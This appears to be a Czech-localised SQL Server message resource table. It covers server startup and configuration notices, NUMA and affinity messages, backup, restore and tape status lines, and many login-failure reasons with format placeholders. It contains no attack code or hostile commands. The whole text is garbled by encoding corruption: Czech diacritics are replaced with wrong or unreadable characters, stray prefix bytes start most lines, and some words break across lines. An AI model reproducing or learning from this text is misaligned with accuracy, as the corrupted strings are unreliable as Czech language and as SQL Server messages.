$Syst�m SQL Server je spuatn s pY�znakem trasov�n� %1!s!. To mo~e zposobit, ~e u~ivatel uvid� nkter� chyby zamaskovan� pomoc� symbolo %2!s!.

�PY�znak trasov�n� %1!s! u~ nen� podporovan�. Pou~ijte mo~nosti klauzule ALTER DATABASE.

Zapisov�n� do protokolu ud�lost� je vypnuto. Z registru nebo pY�kazov�ho Y�dku byla zad�na neplatn� mo~nost spuatn� -%1!s!.

�Syst�m SQL Server je nakonfigurov�n pro prost� zobrazov�n�. Tato zpr�va je informa
n�; nen� tYeba ~�dn� akce u~ivatele.

�Pou~�v� se pYidlov�n� dynamick�ch uzamknut�. Po
�te
n� pYidlen� %1!s! bloko uzamknut� a %2!s! bloko vlastn�ko uzamknut� na jeden uzel. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Syst�m SQL Server je nyn� pYipraven pro pYipojen� kliento. Tato zpr�va je informa
n�; nen� tYeba ~�dn� akce u~ivatele.

dinitconfig: Upozornn�: Zadan� spYa~en� nen� platn�. Nastavuje se re~im bez spYa~en�. Pou~ijte pY�kaz ALTER SERVER CONFIGURATION SET PROCESS AFFINITY a nakonfigurujte syst�m, aby byl kompatibiln� s maskou procesoru v syst�mu. Syst�m mo~ete nakonfigurovat tak� na z�klad po
tu licencovan�ch procesoro.

�Datov� soubory datab�ze tempdb nejsou konfigurovan� se stejn�mi nastaven�mi po
�te
n� velikosti a automatick�ho zvtaen�. Aby nedoch�zelo k pY�padn�m koliz�m pYidlen�, po
�te
n� velikost a automatick� zvtaen� souboru by mly b�t stejn�.

\Byla spuatna spouatc� procedura %1!s!.

LProb�h� 
iatn� datab�ze tempdb.

LProb�h� spouatn� datab�ze %1!s!.

�Obraz syst�mu SQL Server %1!s! byl pYidlen s pou~it�m volby velk�ch str�nek.

�Syst�m SQL Server nepovoluje ~�dn� nov� pYipojen�, proto~e si Spr�vce Y�zen� slu~eb vy~�dal pozastaven�. Chcete-li, aby slu~ba pokra
ovala, pou~ijte slu~bu SQL Computer Manager nebo aplikaci Services v Ovl�dac�ch panelech.

�Popisova
 Y�zen� slu~by obdr~el neplatn� Y�dic� k�d = %1!s!.

XSyst�m SQL Server povoluje nov� pYipojen� v odpovdi na po~adavek CONTINUE od Spr�vce Y�zen� slu~eb. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

Syst�m SQL Server je ukon
ov�n, proto~e prob�h� vyp�n�n� syst�mu. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

8Syst�m SQL Server je ukon
ov�n v odpovdi na po~adavek stop od Spr�vce Y�zen� slu~eb. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Pou~it� pYidlen� statick�ho z�mku zadan�ho ve volb konfigurace z�mku. Allocated Bylo pYidleno %1!s! bloko z�mku a %2!s! bloko vlastn�ko z�mku na jeden uzel. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Dlen� z�mku na odd�ly je povoleno. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Konfigurace uzlu: uzel %1!s!: Maska procesoru: 0x%2!s!:%3!s! Maska aktivn�ho procesoru: 0x%4!s!:%5!s!. Tato zpr�va poskytuje popis konfigurace NUMA pro tento po
�ta
. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�SpYa~en� procesoro je zapnuto: uzel %1!s!, maska procesoru 0x%2!s!. Vl�kna budou prov�dna v procesorech na z�klad nastaven� spYa~en�. Tato zpr�va je informa
n�; nen� tYeba ~�dn� akce u~ivatele.

�Je zapnuto spYa~en� V/V, maska procesoru 0x%1!s!. V/V disku budou prov�dny v procesorech podle volby konfigurace masky V/V spYa~en�/masky affinity64. Tato zpr�va je pouze informa
n�; nen� tYeba ~�dn� akce u~ivatele.

�Server obnovil prov�dn� po %1!s! sekund�ch ne
innosti. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Server je ne
inn�. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Syst�m SQL Server nemo~e pou~�t volbu NO_BUFFERING bhem prov�dn� V/V, proto~e je nespr�vn� velikost sektoru hlavn�ho souboru, %1!s!. PYesuHte hlavn� soubor na jednotku se spr�vnou velikost� sektoru.

�Syst�m SQL Server se spouat� s norm�ln� prioritou (=7). Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Syst�m SQL Server se spouat� s vysokou prioritou (=13). Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

|Syst�m SQL Server rozpoznal sokety (po
et: %1!s!) se %2!s! j�dry v ka~d�m soketu a %3!s! logick�mi procesory v ka~d�m soketu a s celkov�m po
tem %4!s! logick�ch procesoro pomoc� %5!s! logick�ch procesoro zalo~en�ch na spr�v licenc� syst�mu SQL Server. Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

0Instance RANU se ukon
uje v odpovdi na uplynut� sv�ho vnitYn�ho 
asov�ho limitu. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Inicializuje se spr�vce prostYedko slu~by MS DTC (Microsoft Distributed Transaction Coordinator) [%1!s!] pro instanci serveru %2!s!. Tato zpr�va je jenom informa
n�. U~ivatel nemus� prov�dt ~�dn� akce.

�Podpora distribuovan�ch transakc� nebyla povolena pro tuto instanci datab�zov�ho stroje, proto~e byl spuatn s volbou minim�ln� konfigurace. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�V cest nelze nal�zt ovlada
 Httpapi.dll j�dra protokolu HTTP. Nativn� podpora protokolu HTTP v syst�mu SQL Server nen� dostupn�. Chyba: 0x%1!s! V�a opera
n� syst�m pravdpodobn nepodporuje ovlada
 j�dra protokolu HTTP.

�Nativn� podpora protokolu HTTP v syst�mu SQL Server nen� dostupn�. V knihovn %2!s! nelze nal�zt vstupn� bod funkce %1!s!. Chyba 0x%3!s!. Nativn� pY�stup protokolu HTTP k syst�mu SQL Server vy~aduje novja� verzi opera
n�ho syst�mu.

�Nativn� podpora protokolu v syst�mu SQL Server se nezdaYila a nebude dostupn�. %1!s!() se nezdaYil. Chyba 0x%2!s!.

$PY�znak trasov�n� %1!s! zadan� bhem spouatn� je ignorov�n. PY�znak trasov�n� je bu neplatn�, nebo jej nelze zadat bhem spouatn� serveru.

`Nelze inicializovat nativn� podporu protokolu HTTP v syst�mu SQL Server z dovodu nedostatku prostYedko. PY�stup protokolu HTTP k syst�mu SQL Server nebude dostupn�. Chyba 0x%1!s!. Tato chyba obvykle zna
� nedostatek pamti. Sni~te zat�~en� pamti, kter� nen� nezbytn�, nebo navyate syst�movou pame.

(Nastaven� registru pro konfiguraci protokolu SNI jsou nespr�vn�. Server nemo~e pYij�mat po~adavky na pYipojen�. Chyba: 0x%1!s!. Stav: 0x%2!s!.

dTato instance syst�mu SQL Server naposledy hl�sila pou~it� procesu s ID %1!s! v %2!s! (m�stn�) %3!s! (UTC). Tato zpr�va je pouze informa
n�; nen� tYeba ~�dn� akce u~ivatele.

@Tato instance syst�mu SQL Server pou~�v� proces s ID %1!s! od %2!s! (m�stn�) %3!s! (UTC). Tato zpr�va je pouze informa
n�; nen� tYeba ~�dn� akce u~ivatele.

�Upozornn�: Licence Enterprise Server/CAL pou~it� pro tuto instanci. Tato edice omez� vyu~it� procesoru modulem SQL Engine na 20 fyzick�ch jader nebo 40 logick�ch jader s povolenou technologi� Hyperthreading.

�Syst�m SQL Server rozpoznal sokety (po
et: %1!s!) se %2!s! j�dry v ka~d�m soketu a %3!s! logick�mi procesory v ka~d�m soketu, celkem tedy %4!s! logick�ch procesoro. Pou~�v� se %5!s! logick�ch procesoro na z�klad licencov�n� SQL Server.

�Pokus o cyklov�n� protokolu chyb. Tato zpr�va je pouze informa
n�; nen� tYeba ~�dn� akce u~ivatele.

�Protokol chyb byl znovu inicializov�n. Stara� polo~ky naleznete v pYedchoz�m protokolu chyb.

�Podpora vyhrazen�ho pYipojen� spr�vce nebyla spuatna z dovodu chyby 0x%1!s!, stavov� k�d: 0x%2!s!. Tato chyba obvykle zna
� chybu souvisej�c� se sokety, jako napY�klad, ~e je port ji~ pou~�v�n.

@Nativn� podpora protokolu SOAP v syst�mu SQL Server je pYipravena pro pYipojen� kliento. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Prob�h� pY�prava za �
elem pY�padn�ho zv�aen� na %1!s! GB s pou~it�m pamti Hot Add.

PPodpora vyhrazen�ho pYipojen� spr�vce nebyla spuatna, proto~e je v t�to verzi syst�mu SQL Server zak�z�na. Pokud chcete vyhrazen� pYipojen� spr�vce pou~�vat, restartujte syst�m SQL Server s pou~it�m pY�znaku trasov�n� %1!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Podpora vyhrazen�ho pYipojen� spr�vce byla nav�z�na pro naslouch�n� lok�ln na portu %1!s!.

�Podpora vyhrazen�ho pYipojen� spr�vce byla nav�z�na pro naslouch�n� vzd�len na portu %1!s!.

DSoubor %1!s! v datab�zi %2!s! byl nastaven na zhuatn� syst�mem souboro, ale nepatY� do sn�mku datab�ze. Chcete-li probl�m vyYeait, je nutn� soubor obnovit.

Soubor %1!s! s 
�slem souboru %2!s! pro DBID %3!s! byl �span namapov�n pro pou~it� hybridn� mezipamt� vyrovn�vac� pamti.

lSoubor %1!s! s 
�slem souboru %2!s! pro DBID %3!s!: Velikost souboru nen� nakonfigurovan� na n�sobek minim�ln� velikosti velk� str�nky pro hybridn� mezipame vyrovn�vac� pamti.

�Syst�m SQL Server nemo~e pou~�t volbu NO_BUFFERING bhem prov�dn� V/V u tohoto souboru, proto~e velikost sektoru pro soubor %1!s!, %2!s!, je neplatn�. PYesuHte soubor na disk s platnou velikost� sektoru.

�Soubor %1!s! sekund�rn� datab�ze TempDB se nach�z� na vymniteln� jednotce, a proto nebude pYipojen bhem spouatn�.

Soubor %1!s! sekund�rn� datab�ze TempDB nebude pYipojen bhem spouatn� datab�ze TempDB; Kontrola jednotky se nezdaYila s chybou %2!s!.

�Bhem pokusu o inicializaci informac� o jednotce doalo k syst�mov� chyb; Chyba %1!s!

PV datab�zi TempDB nen� voln� m�sto

�Podpora vyhrazen�ho pYipojen� spr�vce byla nav�z�na pro m�stn� naslouch�n� v pojmenovan�m kan�lu [ %1!s! ].

�Podpora vyhrazen�ho pYipojen� spr�vce byla nav�z�na pro vzd�len� naslouch�n� v pojmenovan�m kan�lu [ %1!s! ].

xNe cest nelze nal�zt ovlada
 ntdll.dll. Nativn� podpora protokolu HTTP v syst�mu SQL Server nen� dostupn�. Chyba: 0x%1!s! V�a opera
n� syst�m pravdpodobn tento ovlada
 nepodporuje.

PServer obnovil prov�dn� po %1!s! sekund�ch ne
innosti: Server byl probuzen aktivitou u~ivatele. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Server obnovil prov�dn� po %1!s! sekund�ch ne
innosti. PY�
ina: ud�lost 
asova
e.

xServer obnovil prov�dn� po %1!s! sekund�ch ne
innosti.

�Server obnovil prov�dn� po %1!s! sekund�ch ne
innosti. PY�
ina: tlak na prostYedky.

�Automatick� konfigurace soft-NUMA u~ je nastaven� na %1!s!. Nen� potYeba dlat nco dala�ho.

�Automatick� konfigurace soft-NUMA u~ je nastaven� na %1!s!. Restartujte SQL server, aby se nov� nastaven� projevilo.

Byla povolena automatick� konfigurace soft-NUMA, proto~e SQL Server zjistil hardwarov� uzly NUMA s v�ce ne~ %1!s! fyzick�mi j�dry.

�Automatick� konfigurace soft-NUMA nebyla povolen�, proto~e v�registru na cest %1!s! byl zjiatn� kl�
 NodeConfiguration. Pokud chcete aktivovat automatickou konfiguraci soft-NUMA, zaka~te konfiguraci soft-NUMA s�vyu~it�m registru.

�DBCC TRACEON %1!s!, ID procesu serveru (SPID) %2!s!. Tato zpr�va je pouze informa
n�; nen� tYeba ~�dn� akce u~ivatele.

�DBCC TRACEOFF %1!s!, ID procesu serveru (SPID) %2!s!. Tato zpr�va je pouze informa
n�; nen� tYeba ~�dn� akce u~ivatele.

�Bude vynech�no obnoven� datab�ze s ID %1!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

xDBCC DBREPAIR: index %1!s! byl obnoven pro %2!s!.%3!s!.

\index %1!s! byl obnoven pro %2!s!.%3!s!.

 PY�kaz CHECKDB pro datab�zi %1!s! skon
il bez chyb v %2!s! (m�stn� 
as). Tato zpr�va je pouze informa
n�; nen� tYeba ~�dn� akce u~ivatele.

DUpozornn�******************

hProb�h� pokus o zmnu v�choz� kolace na %1!s!.

Syst�m SQL Server byl spuatn v jednou~ivatelsk�m re~imu. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

|Upozornn�: Syst�mov� tabulka s ID %1!s! byla aktualizov�na pY�mo v datab�zi s ID %2!s! a pravdpodobn nebyla zachov�na soudr~nost mezipamti. Syst�m SQL Server by ml b�t restartov�n.

�Spouatn� bez obnovy. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

Obnovuj� se vaechny datab�ze, ale datab�ze tempdb nebude vy
iatna. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�N�zev serveru je %1!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

N�zev NETBIOS m�stn�ho uzlu, na kter�m je server spuatn, je %1!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�U~ivatelsk� �
et: %1!s! %2!s!, ID procesu serveru (SPID): %3!s!, ID procesu j�dra (KPID): %4!s!.

Syst�m SQL Server se vyp�n� kvoli sign�lu Ctrl-C nebo Ctrl-Break. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Maxim�ln� po
et vyhrazen�ch pYipojen� spr�vce pro tuto instanci je %1!s!.

�Vyhrazen� pYipojen� spr�vce bylo odpojeno. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

(Proces %1!s!:%2!s!:%3!s! (0x%4!s!) Pracovn� vl�kno 0x%5!s! se jev� v pl�nova
i %6!s! jako neproduktivn�. as vytvoYen� vl�kna: %7!s!. PYibl. vyu~it� CPU vl�knem: j�dro %8!s! ms, u~ivatel %9!s! ms. Vyu~it� procesu %10!s!%%. Ne
innost syst�mu %11!s!%%. Interval: %12!s! ms.

8Nov� dotazy pYiYazen� procesu v uzlu %1!s! nebyly vyzvednuty pracovn�m vl�knem za posledn�ch %2!s! sekund. K tomuto stavu mohou pYispt blokuj�c� nebo dlouhodob� dotazy, kter� mohou zhorait dobu odezvy klienta. Zvyate po
et povolen�ch vl�ken pomoc� mo~nosti konfigurace Maxim�ln� po
et pracovn�ch vl�ken nebo optimalizujte aktu�ln� spuatn� dotazy. Vyu~it� procesu SQL: %3!s!%%. Ne
innost syst�mu: %4!s!%%.

pNaslouchac� proces dokon
en� V/V (0x%1!s!) Pracovn� vl�kno 0x%2!s! se jev� v uzlu %3!s! jako neproduktivn�. PYibl. vyu~it� CPU: j�dro %4!s! ms, u~ivatel %5!s! ms, Interval: %6!s!.

 Vaechny pl�nova
e v uzlu %1!s! se jev� jako zablokovan� kvoli velk�mu po
tu pracovn�ch vl�ken 
ekaj�c�ch na %2!s!. Vyu~it� proceso %3!s!%%.

�Zna
n� 
�st pamti proceso syst�mu SQL Server je vystr�nkov�na. Mo~e to v�st ke sn�~en� v�konu. Trv�n�: %1!s! sekund. Pracovn� sada (kB): %2!s!, zaps�no (kB): %3!s!, vyu~it� pamti: %4!s!%%.

8Sledov�n� prostYedko (0x%1!s!)   pracovn� vl�kno 0x%2!s! se jev� v uzlu %3!s! jako neproduktivn�. Uvolnn� pame: %4!s! kB. Posledn� 
ek�n�: %5!s!. Posledn� spr�vce pamti: typ %6!s!, n�zev %7!s!. PYibli~n� vyu~it� procesoru: j�dro %8!s! ms, u~ivatel %9!s! ms, Interval: %10!s!.

hDispe
er (0x%1!s!) z fondu dispe
ero %2!s!, pracovn� vl�kno 0x%3!s!, se jev� v uzlu %4!s! jako zasekl�. PYibl. vyu~it� CPU: j�dro %5!s! ms, u~ivatel %6!s! ms, Interval: %7!s!.

�Procedura sp_server_diagnostics b~�c� v r�mci pracovn�ho vl�kna 0x%1!s! je v uzlu %2!s! pravdpodobn neproduktivn�.

�Proces s ID %1!s! byl ukon
en hostitelem %2!s!, ID hostitelsk�ho procesu %3!s!.

�Syst�m SQL Server se vyp�n� po ovYen� syst�mov�ch indexo.

TV�choz� kolace byla �span zmnna.

�Stroji se nepodaYilo na
�st konfiguraci pro zjiaeov�n� chyb. Byla pou~ita v�choz� konfigurace.

0Stroj ozna
il datab�zi %1!s! [%2!s!] jako podezYelou (SUSPECT) v cloudov�m re~imu datab�ze z dovodu chyby %3!s! o v�~nosti %4!s! a se stavem %5!s!.

dP�ska %1!s! (ID rodiny %2!s!, sekvence %3!s!, media_set_guid %4!s!) je pYipojena v p�skov� jednotce %5!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�PYipojen� p�sky je po~adov�no u jednotky %1!s!. O
ek�van� jednotka m� (ID rodiny %2!s!, sekvence %3!s!).

tNepojmenovan� p�ska (ID rodiny %1!s!, sekvence %2!s!, media_set_guid %3!s!) je pYipojena v p�skov� jednotce %4!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

Po~adavek na pYipojen� p�sky v jednotce %1!s! je zruaen. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�%1!s!: ZaY�zen� nebo m�dium nepodporuj� funkci %2!s!. Chcete-li tuto funkci pou~�vat, pou~ijte jin� zaY�zen� nebo m�dium.

`Byla vytvoYena z�loha datab�ze. Datab�ze: %1!s!, datum (
as) vytvoYen�: %2!s!(%3!s!), z�lohovan� str�nky: %4!s!, prvn� hodnota LSN: %5!s!, posledn� hodnota LSN: %6!s!, po
et odkl�dac�ch zaY�zen�: %7!s!, informace o zaY�zen�: (%8!s!). Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

,Byla vytvoYena z�loha protokolu. Datab�ze: %1!s!, datum (
as) vytvoYen�: %2!s!(%3!s!), prvn� hodnota LSN: %4!s!, posledn� hodnota LSN: %5!s!, po
et odkl�dac�ch zaY�zen�: %6!s!, informace o zaY�zen�: (%7!s!). Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

4Byla vytvoYena z�loha souboru datab�ze. Datab�ze: %1!s!, datum (
as) vytvoYen�: %2!s!(%3!s!), seznam souboro: (%4!s!), z�lohovan� str�nky: %5!s!, po
et odkl�dac�ch zaY�zen�: %6!s!, informace o zaY�zen�: (%7!s!). Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

Datab�ze byla obnovena: Datab�ze: %1!s!, datum (
as) vytvoYen�: %2!s!(%3!s!), prvn� hodnota LSN: %4!s!, posledn� hodnota LSN: %5!s!, po
et odkl�dac�ch zaY�zen�: %6!s!, informace o zaY�zen�: (%7!s!). Informa
n� zpr�va. Nen� tYeba ~�dn� akce u~ivatele.

Protokol byl obnoven. Datab�ze: %1!s!, datum (
as) vytvoYen�: %2!s!(%3!s!), prvn� hodnota LSN: %4!s!, posledn� hodnota LSN: %5!s!, po
et odkl�dac�ch zaY�zen�: %6!s!, informace o zaY�zen�: (%7!s!). Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Soubor datab�ze byl obnoven. Datab�ze: %1!s!, datum (
as) vytvoYen�: %2!s!(%3!s!), seznam souboro: (%4!s!), po
et odkl�dac�ch zaY�zen�: %5!s!, informace o zaY�zen�: (%6!s!). Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Rozd�lov� zmny v datab�zi byly z�lohov�ny. Datab�ze: %1!s!, datum (
as) vytvoYen�: %2!s!(%3!s!), z�lohovan� str�nky: %4!s!, prvn� hodnota LSN: %5!s!, posledn� hodnota LSN: %6!s!, hodnota LSN �pln� z�lohy: %7!s!, po
et odkl�dac�ch zaY�zen�: %8!s!, informace o zaY�zen�: (%9!s!). Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

 Zmny v datab�zi byly obnoveny. Datab�ze: %1!s!, datum (
as) vytvoYen�: %2!s!(%3!s!), prvn� hodnota LSN: %4!s!, posledn� hodnota LSN: %5!s!, po
et odkl�dac�ch zaY�zen�: %6!s!, informace o zaY�zen�: (%7!s!). Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�P�ska %1!s! byla odpojena z jednotky %2!s!. Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Nepojmenovan� p�ska byla odpojena z jednotky %1!s!. Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

LRozd�lov� zmny v souboru datab�ze byly z�lohov�ny. Datab�ze: %1!s!, datum (
as) vytvoYen�: %2!s!(%3!s!), seznam souboro: (%4!s!), z�lohovan� str�nky: %5!s!, po
et odkl�dac�ch zaY�zen�: %6!s!, informace o zaY�zen�: (%7!s!). Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

Zmny v souboru datab�ze byly obnoveny. Datab�ze: %1!s!, datum (
as) vytvoYen�: %2!s!(%3!s!), seznam souboro: (%4!s!), po
et odkl�dac�ch zaY�zen�: %5!s!, informace o zaY�zen�: (%6!s!). Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

� Dovod: Doalo k chyb infrastruktury. Zkontrolujte pYedchoz� chyby.

� Dovod: Nelze naj�t pYihlaaovac� �daje odpov�daj�c� zadan�mu jm�nu.

� Dovod: NepodaYilo se odemknout pame obsahuj�c� citliv� �daje.

� Dovod: NepodaYilo se odemknout pame obsahuj�c� citliv� �daje.

� Dovod: Nelze naj�t pYihlaaovac� �daje odpov�daj�c� zadan�mu jm�nu.

� Dovod: Pokus o pou~it� n�zvu �
tu NT s ovYov�n�m syst�mu SQL Server.

h Dovod: PYi vyhodnocov�n� hesla doalo k chyb.

� Dovod: Heslo se neshodovalo s heslem v zadan�ch pYihlaaovac�ch �daj�ch.

P Dovod: Bylo zad�no neplatn� heslo.

� Dovod: PYi ovYov�n� hesla doalo k chyb infrastruktury. Zkontrolujte pYedchoz� chyby.

 Dovod: OvYen� pY�stupu k serveru na z�klad tokenu selhalo v dosledku chyby infrastruktury. Zkontrolujte pYedchoz� chyby.

 Dovod: OvYen� pY�stupu k serveru na z�klad pYihlaaovac�ch �dajo selhalo v dosledku chyby infrastruktury. Zkontrolujte pYedchoz� chyby.

� Dovod: Slu~ba SQL Server je pozastavena. V tuto chv�li nelze pYijmout ~�dn� nov� pYipojen�.

� Dovod: Rozhran� pro pYihl�aen� do syst�mu SQL Server nen� podporov�no.

X Dovod: Zadanou datab�zi nelze otevY�t.

� Dovod: Pro tento u~ivatelsk� �
et se nezdaYilo otevY�t datab�zi.

t Dovod: Nelze zjistit po
�te
n� jazyk a form�t data.

� Dovod: U~ivatel mus� zmnit heslo, ovaem nelze je zmnit pYi aktu�ln�m nastaven� pYipojen�.

� Dovod: NepodaYilo se odemknout pame obsahuj�c� citliv� �daje.

� Dovod: Simulace selh�n� bhem opakovan�ho pYihlaaov�n� k pYipojen�.

� Dovod: Slu~ba SQL Server je pozastavena. PYihlaaovac� �daje nelze nyn� znovu ovYit.

� Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo k pYipojen� se nezdaYila optovn� inicializace kontextu zabezpe
en�.

� Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo k pYipojen� se nezdaYil pY�stup k ovYen� serveru.

� Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo k pYipojen� se nezdaYilo otevY�t zadanou datab�zi.

� Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo k pYipojen� se nezdaYilo vytvoYit u~ivatelskou instanci.

� Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo k pYipojen� se nezdaYilo pYipojit zadanou datab�zi.

 Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo k pYipojen� se nezdaYilo otevY�t datab�zi pro tento pYihlaaovac� �
et.

� Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo k pYipojen� se nezdaYilo zjistit jazyk a form�t data.

� Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo k pYipojen� doalo k v�jimce. Zkontrolujte pYedchoz� chyby.

� Dovod: Simulace selh�n� bhem optovn�ho ovYov�n� pYihlaaovac�ch �dajo.

� Dovod: Slu~ba SQL Server je pozastavena. PYihlaaovac� �daje nelze nyn� znovu ovYit.

� Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo se nezdaYilo inicializovat kontext zabezpe
en�.

� Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo se nezdaYil pY�stup k serveru.

� Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo se nezdaYilo otevY�t zadanou datab�zi.

� Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo doalo k chyb. Zkontrolujte pYedchoz� chyby.

� Dovod: Nelze na
�st n�zev datab�ze nebo mapovat datab�zi k polo~ce.

� Dovod: Nelze se pYipojit s pYihlaaovac�mi �daji, kter� neur
uj� sd�lenou slo~ku.

� Dovod: Explicitn zadanou datab�zi %1!s! se nezdaYilo otevY�t.

� Dovod: Ze zadan�ho n�zvu souboru se nezdaYilo zjistit n�zev datab�ze.

� Dovod: Datab�zi %1!s! zadanou ve vlastnostech pYihlaaovac�ho �
tu se nezdaYilo otevY�t.

� Dovod: N�zev a kolaci datab�ze se nezdaYilo ulo~it. Zkontrolujte pYedchoz� chyby.

� Dovod: Aktu�ln� kolace se bhem obnoven� pYipojen� neshoduje s kolac� datab�ze.

� Dovod: Nelze odeslat ozn�men� zmny prostYed� do partnersk�ho uzlu pYenosu protokolo.

 Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo k pYipojen� se nezdaYilo na
�st n�zev datab�ze nebo mapovat datab�zi k polo~ce.

8 Dovod: PYipojen� s pYihlaaovac�mi �daji, kter� nespecifikuj� sd�lenou slo~ku, nen� pYi optovn�m ovYov�n� pYihlaaovac�ch �dajo k pYipojen� povoleno.

4 Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo k pYipojen� se nezdaYilo otevY�t datab�zi %1!s! nakonfigurovanou v objektu pYihlaaovac�ho �
tu.

 Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo k pYipojen� se nezdaYilo zjistit n�zev datab�ze z dan�ho n�zvu souboru.

, Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo k pYipojen� se nezdaYilo otevY�t datab�zi %1!s! zadanou ve vlastnostech pYihlaaovac�ho �
tu.

0 Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo k pYipojen� se nezdaYilo ulo~it zadan� n�zev a kolaci datab�ze. Zkontrolujte pYedchoz� chyby.

� Dovod: Aktu�ln� kolace se bhem obnoven� pYipojen� neshoduje s kolac� datab�ze.

  Dovod: PYi optovn�m ovYov�n� pYihlaaovac�ch �dajo se nezdaYilo odeslat ozn�men� zmny prostYed� do partnersk�ho uzlu pYenosu protokolo.

X Dovod: Zosobnn� klienta se nezdaYilo.

p Dovod: Obnova zosobnn� do sebe sama se nezdaYila.

t Dovod: Nelze z�skat informace z tokenu zabezpe
en�.

p Dovod: Duplikace tokenu zabezpe
en� se nezdaYila.

� Dovod: Pokus o opakov�n� ovYen� tokenu procesu se nezdaYil.

h Dovod: PYi pokusu o zmnu hesla doalo k chyb.

� Dovod: Pokus o pYihl�aen� pomoc� ovYov�n� SQL se nezdaYil. Server je nakonfigurov�n pouze pro integrovan� ovYov�n�.

� Dovod: Nelze naj�t u~ivatele shodn�ho se zadan�m jm�nem. [Datab�ze: '%1!s!']

� Dovod: NepodaYilo se odemknout pame obsahuj�c� citliv� �daje. [Datab�ze: '%1!s!']

� Dovod: NepodaYilo se odemknout pame obsahuj�c� citliv� �daje. [Datab�ze: '%1!s!']

� Dovod: Nelze naj�t u~ivatele shodn�ho se zadan�m jm�nem. [Datab�ze: '%1!s!']

� Dovod: Pokus o pou~it� neplatn�ho typu u~ivatele s ovYov�n�m syst�mu SQL Server. [Datab�ze: '%1!s!']

� Dovod: PYi vyhodnocov�n� hesla doalo k chyb. [Datab�ze: '%1!s!']

� Dovod: Heslo se neshodovalo s heslem zadan�ho u~ivatele. [Datab�ze: '%1!s!']

x Dovod: Bylo zad�no neplatn� heslo. [Datab�ze: '%1!s!']

� Dovod: PYi ovYov�n� hesla doalo k chyb infrastruktury. Zkontrolujte pYedchoz� chyby. [Datab�ze: %1!s!]

( Dovod: OvYov�n� pY�stupu k serveru na z�klad tokenu selhalo v dosledku chyby infrastruktury. Zkontrolujte pYedchoz� chyby. [Datab�ze: %1!s!]

D Dovod: OvYov�n� pY�stupu k serveru na z�klad pYihlaaovac�ch �dajo selhalo v dosledku chyby infrastruktury. Zkontrolujte pYedchoz� chyby. [Datab�ze: %1!s!]

pYipojit

obnovit

Dovod: Hodnota hash hesla poch�z� z nepodporovan� verze syst�mu SQL Server. VytvoYte nov� heslo nebo znovu vytvoYte pYihl�aen�.

